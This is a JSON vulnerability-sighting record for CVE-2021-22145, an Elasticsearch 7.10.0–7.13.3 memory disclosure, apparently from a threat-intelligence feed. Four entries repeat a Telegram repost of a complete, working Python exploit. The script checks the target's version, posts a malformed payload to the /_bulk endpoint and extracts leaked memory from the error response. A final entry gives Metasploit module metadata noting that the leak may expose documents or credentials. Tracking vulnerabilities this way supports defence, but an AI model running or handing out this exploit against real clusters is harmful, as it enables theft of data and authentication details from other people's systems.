{"vulnerability": "CVE-2021-22145", "sightings": [{"uuid": "58911733-e7a2-46ed-a086-4365d2081bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "3dfbe13b-194a-4a2f-89cd-5c884df02e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:34.000000Z"}, {"uuid": "7b893c94-5b0d-40ad-92fe-8b2085b12151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:12:59.000000Z"}, {"uuid": "bdb6dff9-3017-4e55-b5af-ff2faf948781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.rb", "content": "", "creation_timestamp": "2023-09-07T15:26:52.000000Z"}, {"uuid": "d9193d1f-8040-48f3-83b1-ae9cf00e7495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "https://t.me/hacking_Attack/17554", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:30.796830Z"}, {"uuid": "3dc33f3f-df52-4f02-b9b4-a428b2dbb93d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "https://t.me/hacking_Attack/17554", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:05.505164Z"}, {"uuid": "4bc57bcf-53e4-4f94-a4ec-e92e3a482aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17554", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T22:00:06.388068Z"}, {"uuid": "efc860f7-386e-4be0-b9b7-cf5e2b9249cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17554", "content": "Exploit Collector\nElasticSearch 7.13.3 Memory Disclosure\n\nhttps://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png \nElasticSearch version 7.13.3 memory disclosure exploit.\n\nMD5 | 128e0970c644272d608d5ebe1bafc7e5\n\nDownload\n# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure \n# Date: 21/07/2021\n# Exploit Author: r0ny\n# Vendor Homepage: https://www.elastic.co/\n# Software Link: https://github.com/elastic/elasticsearch\n# Version: 7.10.0 to 7.13.3\n# Tested on: Kali Linux\n# CVE : CVE-2021-22145\n\n#/usr/bin/python3\n\nfrom argparse import ArgumentParser\nimport requests\nfrom packaging import version\nimport json\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nprint(\"\\n################################################################################################\")\nprint(\"######    CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3)    ######\")\nprint(\"######                     Exploit by r0ny (https://twitter.com/_r0ny)                    ######\")\nprint(\"################################################################################################\\n\")\nparser = ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"URL of ElasticSearch service\")\nparser.add_argument(\"-apikey\", \"--api-key\", dest=\"api_key\", help=\"API Key Authentication (Base64)\", metavar=\"API\", default=\"\")\nparser.add_argument(\"-b\", \"--basic\", dest=\"basic\", help=\"Basic Authentication (Base64)\", default=\"\")\nargs = parser.parse_args()\n\nif not (args.url):\nparser.error('Please input the elasticsearch url. e.g \"python3 CVE-2021-22145.py -host http://127.0.0.1:9200\"')\n\n#Prepare authentication header\nauthorization_header = \"\" \nif(args.api_key or args.basic):\nauthorization_header = \"ApiKey \" + args.api_key if args.api_key else \"Basic \" + args.basic\n\n#Check elasticsearch version\nr = requests.get(args.url,headers={\"Authorization\":authorization_header}, verify=False)\ntry:\nes_version = json.loads(r.content)[\"version\"][\"number\"]\nexcept:\nprint(\"# Couldn't connect to \" + args.url + \", please verify the url or the authentication token\\n\")\nprint(\"# Server response: \" + str(r.content))\nexit()\n\nif version.parse(es_version) < version.parse(\"7.10.0\") or version.parse(es_version) > version.parse(\"7.13.3\"):\nprint(\"# Elastic Service not vulnerable\")\nprint(\"# Elastic Service version: \" + es_version) \nprint(\"# Elastic Service vulnerable versions: 7.10.0 to 7.13.3\") \nexit()\n\n#Prepare exploitation \npayload = \"@\\n\"\nvulnerable_endpoint = \"/_bulk\"\nurl = args.url + vulnerable_endpoint\n\n#Exploitation\nprint(\"# ElasticSearch Version: \" + es_version)\nprint(\"# Request to \" + url+\"\\n\")\nr = requests.post(url, data = payload, headers={\"content-type\":\"application/json\", \"Authorization\":authorization_header}, verify=False)\n\n#Read Memory Leak and remove stacktrace\n\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\")\nprint(\"$$$$$ Memory Leaked $$$$$\")\nprint(\"$$$$$$$$$$$$$$$$$$$$$$$$$\\n\")\nresponse = json.loads(r.content)\nleak1 = response[\"error\"][\"root_cause\"][0][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nleak2 = response[\"error\"][\"reason\"].split(\"(byte[])\\\"\")[1].split(\"; line\")[0]\nprint(leak1+\"\\n\"+leak2)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:11.177034Z"}, {"uuid": "21b6162b-58c9-4305-b975-dd72e4782b21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-22145", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.rb", "content": "{\"actions\": [{\"description\": \"Dump memory contents to loot\", \"name\": \"DUMP\"}, {\"description\": \"Check hosts for vulnerability\", \"name\": \"SCAN\"}], \"aliases\": [], \"arch\": \"\", \"author\": [\"h00die\", \"Eric Howard\", \"R0NY\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a memory disclosure vulnerability in Elasticsearch\\n          7.10.0 to 7.13.3 (inclusive). A user with the ability to submit arbitrary\\n          queries to Elasticsearch can generate an error message containing previously\\n          used portions of a data buffer.\\n          This buffer could contain sensitive information such as Elasticsearch\\n          documents or authentication details. This vulnerability's output is similar\\n          to heartbleed.\", \"disclosure_date\": \"2021-07-21\", \"fullname\": \"auxiliary/scanner/http/elasticsearch_memory_disclosure\", \"is_install_path\": true, \"mod_time\": \"2026-04-10 16:13:38 +0000\", \"name\": \"Elasticsearch Memory Disclosure\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/scanner/http/elasticsearch_memory_disclosure.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"scanner/http/elasticsearch_memory_disclosure\", \"references\": [\"EDB-50149\", \"CVE-2021-22145\", \"URL-https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177\"], \"rport\": 9200, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:31.153404Z"}]}